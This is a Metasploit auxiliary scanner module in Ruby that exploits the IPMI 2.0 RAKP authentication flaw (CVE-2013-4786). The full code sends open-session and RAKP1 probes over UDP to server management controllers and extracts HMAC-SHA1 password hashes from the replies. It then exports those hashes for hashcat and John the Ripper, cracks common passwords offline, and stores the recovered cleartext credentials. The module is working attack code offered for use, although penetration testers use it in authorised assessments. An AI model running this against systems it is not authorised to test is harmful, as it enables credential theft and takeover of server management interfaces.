##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',
      'Description' => %q|
        This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
        HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
        file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
        in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
        |,
      'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
      'License' => MSF_LICENSE,
      'References' => [
        ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],
        ['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367
        ['CVE', '2013-4786'],
        ['OSVDB', '95057'],
        ['BID', '61076'],
      ],
      'DisclosureDate' => 'Jun 20 2013'
    )

    register_options(
      [
        Opt::RPORT(623),
        OptPath.new('USER_FILE', [
          true, "File containing usernames, one per line",
          File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
        ]),
        OptPath.new('PASS_FILE', [
          true, "File containing common passwords for offline cracking, one per line",
          File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
        ]),
        OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
        OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
        OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),
        OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),
        OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])
      ]
    )
  end

  def post_auth?
    true
  end

  def ipmi_status(msg)
    vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")
  end

  def ipmi_error(msg)
    vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")
  end

  def ipmi_good(msg)
    print_good("#{rhost}:#{rport} - IPMI - #{msg}")
  end

  def run_host(ip)
    ipmi_status("Sending IPMI probes")

    usernames = []
    passwords = []

    # Load up our username list (save on open fds)
    ::File.open(datastore['USER_FILE'], "rb") do |fd|
      fd.each_line do |line|
        usernames << line.strip
      end
    end
    usernames << ""
    usernames = usernames.uniq

    # Load up our password list (save on open fds)
    ::File.open(datastore['PASS_FILE'], "rb") do |fd|
      fd.each_line do |line|
        passwords << line.gsub(/\r?\n?/, '')
      end
    end
    passwords << ""
    passwords = passwords.uniq

    delay_value = datastore['SESSION_RETRY_DELAY'].to_i
    max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i

    self.udp_sock = Rex::Socket::Udp.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } })
    add_socket(self.udp_sock)

    reported_vuln = false
    session_succeeded = false

    usernames.each do |username|
      console_session_id = Rex::Text.rand_text(4)
      console_random_id = Rex::Text.rand_text(16)

      ipmi_status("Trying username '#{username}'...")

      rakp = nil
      sess = nil
      sess_data = nil

      # It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)
      1.upto(max_session_attempts) do |attempt|
        r = nil
        1.upto(3) do
          udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
          r = udp_recv(5.0)
          break if r
        end

        unless r
          ipmi_status("No response to IPMI open session request")
          rakp = nil
          break
        end

        sess = process_opensession_reply(*r)
        unless sess
          ipmi_status("Could not understand the response to the open session request")
          rakp = nil
          break
        end

        if sess.data.length < 8
          ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")
          rakp = nil
          sleep(delay_value) if session_succeeded
          next # break
        end

        session_succeeded = true

        sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)

        r = nil
        1.upto(3) do
          udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))
          r = udp_recv(5.0)
          break if r
        end

        unless r
          ipmi_status("No response to RAKP1 message")
          next
        end

        rakp = process_rakp1_reply(*r)
        unless rakp
          ipmi_status("Could not understand the response to the RAKP1 request")
          rakp = nil
          break
        end

        # Sleep and retry on session ID errors
        if rakp.error_code == 2
          ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")
          Rex.sleep(1)
          next
        end

        if rakp.error_code != 0
          ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
          rakp = nil
          break
        end

        # TODO: Finish documenting this error field
        if rakp.ignored1 != 0
          ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")
          rakp = nil
          break
        end

        # Check if there is hash data
        if rakp.data.length < 56
          rakp = nil
          break
        end

        # Break out of the session retry code if we make it here
        break
      end

      # Skip to the next user if we didnt get a valid response
      next if !rakp

      # Calculate the salt used in the hmac-sha1 hash
      rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)
      hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
        console_session_id,
        sess_data.bmc_session_id,
        console_random_id,
        rakp_data.bmc_random_id,
        rakp_data.bmc_guid,
        0x14,
        username
      )

      sha1_salt = hmac_buffer.unpack("H*")[0]
      sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]

      if sha1_hash == "0000000000000000000000000000000000000000"
        ipmi_error("Returned a bogus SHA1 hash for username #{username}")
        next
      end

      ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")

      write_output_files(rhost, username, sha1_salt, sha1_hash)

      # Write the rakp hash to the database
      hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
      core_id = report_hash(username, hash)
      # Write the vulnerability to the database
      unless reported_vuln
        report_vuln(
          :host => rhost,
          :port => rport,
          :proto => 'udp',
          :sname => 'ipmi',
          :name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
          :info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
          :refs => self.references
        )
        reported_vuln = true
      end

      # Offline crack common passwords and report clear-text credentials
      next unless datastore['CRACK_COMMON']

      passwords.uniq.each do |pass|
        pass = pass.strip
        next unless pass.length > 0
        next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)

        ipmi_good("Hash for user '#{username}' matches password '#{pass}'")

        # Report the clear-text credential to the database
        report_cracked_cred(username, pass, core_id)
        break
      end
    end
  end

  def process_opensession_reply(data, shost, sport)
    shost = shost.sub(/^::ffff:/, '')
    info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil
    return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP

    info
  end

  def process_rakp1_reply(data, shost, sport)
    shost = shost.sub(/^::ffff:/, '')
    info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil
    return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2

    info
  end

  def write_output_files(rhost, username, sha1_salt, sha1_hash)
    if datastore['OUTPUT_HASHCAT_FILE']
      ::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
        fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
        fd.flush
      end
    end

    if datastore['OUTPUT_JOHN_FILE']
      ::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
        fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
        fd.flush
      end
    end
  end

  def service_data
    {
      address: rhost,
      port: rport,
      service_name: 'ipmi',
      protocol: 'udp',
      workspace_id: myworkspace_id
    }
  end

  def report_hash(user, hash)
    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: 'rakp',
      username: user,
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    cl = create_credential_login(login_data)
    cl ? cl.core_id : nil
  end

  def report_cracked_cred(user, password, core_id)
    cred_data = {
      core_id: core_id,
      username: user,
      password: password
    }

    create_cracked_credential(cred_data)
  end

  #
  # Helper methods (these didn't quite fit with existing mixins)
  #

  attr_accessor :udp_sock

  def udp_send(data)
    begin
      udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
    rescue ::Interrupt
      raise $!
    rescue ::Exception
    end
  end

  def udp_recv(timeo)
    r = udp_sock.recvfrom(65535, timeo)
    r[1] ? r : nil
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end
end
